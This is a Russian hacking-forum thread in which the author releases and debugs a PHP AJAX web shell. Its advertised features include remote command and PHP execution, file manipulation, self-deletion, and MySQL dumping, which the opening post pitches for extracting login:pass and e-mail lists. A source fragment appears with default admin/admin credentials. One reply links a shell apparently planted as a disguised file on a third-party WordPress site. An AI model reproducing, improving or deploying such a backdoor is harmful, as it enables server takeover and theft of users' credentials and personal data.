Просмотр полной версии : dx ajax text shell
DX Ajax Text Shell 2.0 beta
Решил сделать веб-шелл с использованием AJAX.
Доработал 1.0, сейчас готова версия 2.0 (пока что beta), вот её описание:
Возможности:
AJAX, UTF-8
Все запросы методом POST
Файловый менеджер: серфинг по папкам, просмотр дат изменения и прав для файлов и папок, удаление, перемещение, копирование, переименовывание, chmod, touch
Скачивание файлов (<2.0> - поддержка скачивания больших файлов)
Редактирование и сохранение файлов в utf-8 и windows-1251
Подробная информация о системе
Выполнение php-кода
Выполнение команд cmd множеством способов (<2.0> - улучшен вывод результатов, поддержка кириллицы)
<2.0> Защита паролем
<2.0> MySQL - выполнение команд, удобный менеджер команд
<2.0> MySQL дампинг - дамп таблиц или целых БД, поддержка больших объёмов данных, дамп результатов запросов MySQL
Если set_time_limit будет недоступно, дамп всё равно возможен по частям.
Теперь очень удобно сдампить в виде файла, например, список login:pass или список e-mail'ов из какой-нибудь таблицы.
<2.0> Дамп MySQL-таблиц производится без создания каких-либо файлов на сервере - всё напрямую направляется в браузер.
<2.0> Быстрое удаление скрипта
<2.0> Поправлены различные ошибки
Удобство в том, что можно работать с файлами, php, cmd и пр. независимо друг от друга, то есть примерно так - полистать файлы, выполнить пхп-код, вернуться к файлам, в это время результат выполнения php-кода не стирается, и к нему можно всегда вернуться.
не пашет. локахлост-вынь.
зы. да и кто его юзать будет? если бы р57 под аякс заделать, то гуд..
Пашет, проверял на удалённых серверах и на локалхосте тоже. Просто шелл если редактировать, то нужно сохранять в UTF-8 без BOM.
хз. у меня пашет. на локал хосте. вынь
Все круто. Хотел бы видеть sypex или любой другой быстрый дампер mysql
На локалхосте под виндой не работало - все дело в обратных слэшах, которые используются в путях и впоследствии попадают в js-код без экранирования, поэтому в начале кода нужно заменить вот на это:
$sdir=addslashes($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['SCRIPT_NAME']));
В Firefox iframe, который выполняет checkUpFiles(), перегораживает часть экрана с директориями (почему-то видимый), поэтому нужно заменить на это (1084 строка)
<iframe id="upiframe" name="upiframe" style="display:none;width:0;height:0" onload="checkUpFiles();"></iframe>
И ко всему прочему баги с кодировкой:
�?мя Права Размер �?зменён
r57shell с AJAX хорошая идея имхо
нахожусь в /var/www/html тыкаю все время вверх до хожу до /var тыкаю - переходит опять в /var/www/html, пишу перейти в / - пишет директория не существует
Спасибо всем за замечания, постараюсь всё исправить, хотя я не понимаю, отчего могут возникнуть такие проблемы, как:
-видимый фрейм в ФФ (сам тестил, у меня всё отлично, версия 3)
-проблемы с кодировкой (опять-таки всё проверял, но ещё посмотрю, отчего такое может быть)
ShAnKaR, такая ошибка действительно есть, поправлю.
[Raz0r], если не сложно, напиши, где ещё баги с кодировкой наблюдаются у тебя, и только в ФФ, или в других браузерах тоже?
Баги в Firefox 3.0.4, Opera 9.62, IE7. В файл менеджере первые буквы Имя и Изменен, а также в слове Информация во вкладках Система и MySQL
Не представляю, почему такие ошибки возникают, у меня во всех браузерах всё нормально. Причём, как я понял, только буква "И" искажается) Может быть, проблема в сервере и утф-8?.. Что, если просто создать текстовый файл в утф-8 без BOM и записать туда букву "И", а потом получить его с помощью сервера?:)
Доработал версию 1.0, добавил функционал, поправил найденные ошибки.
Обновил первый пост, подробное описание и файл для скачивания там.
@d_x
тестить нужно не только на IE ;)
Кстати ошибок с кодировкой больше нет, спасибо
Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё.
ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)
GreenBear
19.12.2008, 17:12
а ты попробуй упросить ее до strtolower на русских буквах
Это:
<?php
$text = 'ЭтО СтРоКа';
echo strtolower($text);
?>
И это:
<?php
$text = 'ЭтО СтРоКа';
echo iconv('windows-1251','utf-8',strtolower($text));
?>
Результат:
это строка
Видео: http://webfile.ru/2491722
Опера всегда отличалась нестандартностью
в FireFox 3.0.4 тоже не работает как надо
ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)
мистика =)
насчет strtolower() в доках сказано:
Returns string with all alphabetic characters converted to lowercase.
Note that 'alphabetic' is determined by the current locale.
setlocale(LC_ALL,"Russian");
Давай пример полного кода, который по-твоему переведет строку на русском в нижний регистр используя strtolower на любом сервере
http://www.topmanshoes.com/wp-admin/1.php
Неа
Вот шелл, можешь посмотреть содержимое файла
http://www.topmanshoes.com/wp-admin/wp-rss.php
Русской локали на многих серверах может и не оказаться. Проверить можно так:
locale -a | grep 'ru'
Вообще нужно вот так:
setlocale(LC_ALL, 'ru_RU.CP1251');
echo strtoupper('Работает!');
С koi8-r наоборот почему-то получается: strtoupper() переводит в нижний регистр, а strtolower() в верхний
На разных системах локали называются по-разному. Я знаю про setlocale, но именно поэтому её и не использовал.
P.S. Кривое отображение в некоторых браузерах поправил, обновил первый пост.
P.S.2. Если эта тема похожа на паблик, пусть модераторы её туда перекинут. Чем больше ошибок найдут в скрипте, тем больше я их исправлю и тем лучше он в итоге станет)
Попросил перенести тему в общий раздел, чтобы быстрее найти ошибки, если они ещё есть.
astrologer
21.12.2008, 02:16
Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё..header
{
font-size:14;
font-weight:bold;
}
fieldset
{
width: 0px; /* =/ */
}
P.S.
---
Насчёт strtolower_ru - есть strtr (http://php.net/strtr)() и mb_strtolower (http://php.net/mb_strtolower)();
Хм, точно, у меня не тот файл был залит почему-то, сейчас перезалил. Я просто указал фиксированную ширину fieldset'а, чтобы хаки не использовать.
А про strtr забыл, завтра переделаю.
Опера всегда отличалась нестандартностью
Кхм... стесняюсь спросить - в каком месте? :)
Опера всегда отличалась нестандартностью
Бред сивой кобылы. Опера всегда тем и отличалась, что соответствовала стандартам больше всех остальных. Спроси любого верстальщика, он тебе это же скажет.
После появления webkit'а и иже с ним (safari 3, Chrome) первенство в соответсятвии стандартам держат опера и webkit, мб оттого, что вебкит опенсурсный зверь и кодерами именно для этих целей допиливается.
А вот ФФ, как не прискорбно все дальше уходит в степь IE. Его поведение в какой-то конкретный момент угадать трудно.
// зы: ссори за оффтоп
Давайте не будем разводить старый срач, какой браузер лучше, и уж тем более не надо оскорблений. В любом случае всё, что я пишу, моё личное мнение и других никоим образом не затрагивает. Это лично мне так показалось. Считайте, что я это написал для себя, чтобы не забыть поправить код. Скрипты я тестирую на трёх браузерах - ие, фф и опера - и они будут там работать, я же не говорю, что "не буду делать под какой-то браузер, он мне не нравится".
world-hacker
21.01.2009, 03:59
Спс огромное! Шел очень сильно помог, было бы неплохо добавить перемещение - ввел адресс к примеру / и переместился в корневую дерикторию.
ReduKToR
21.01.2009, 09:06
<?php
@set_time_limit(0);
@ini_set('max_execution_time',0);
$ver='2.0 beta';
$auth=true; //включить ли защиту паролем
$username=md5('admin'); //логин
$userpass=md5('admin'); //пасс
if($auth)
{
if(!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$username || md5($_SERVER['PHP_AUTH_PW'])!==$userpass)
{
header('WWW-Authenticate: Basic realm="ATS"');
header('HTTP/1.0 401 Unauthorized');
die('Access denied');
}
}
if(isset($_POST['delscript']))
{
if(@unlink(__FILE__))
ajax_die("alert('РЎРєСЂРёРїС‚ СѓСЃРїРµС?РЅРѕ удалён.');");
else
ajax_die("alert('Не удалось удалить скрипт.');");
ппц,пробывал ставыить разные кодировки,всёравно
ппц,пробывал ставыить разные кодировки,всёравно
utf-8 обычный, открой в виндовом notepad и все увидиш
или far 2.0 поставь.
Хороший шел, мне понравилось.
Добавте возможность:
гденибудь рядом с папкой кноповку создать архив. средствами пхп можно gz жать без проблем.
а то набирать tar -cf && bzip2 -9 часто бывает не возможным :)
и по цветам.. сделайте фон черным а то работать за таким даже пол часа тяжеловато.
Dr.Gonzo
15.05.2009, 16:10
Почему-то на некоторых хостингах нормально идет, а на некоторых вместо текста показывает:
Файлы | Система | Выполнить PHP
Иногда вообще не грузится,
тогда если убрать авторизацию будет грузиться но опять же с иероглифами и ошибкой:
пишет что-то типа Headers already sent....
Видать что-то с кодировкой, не могу понять что
utf-8 BOM а да пребудет с вами сила скрытая
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot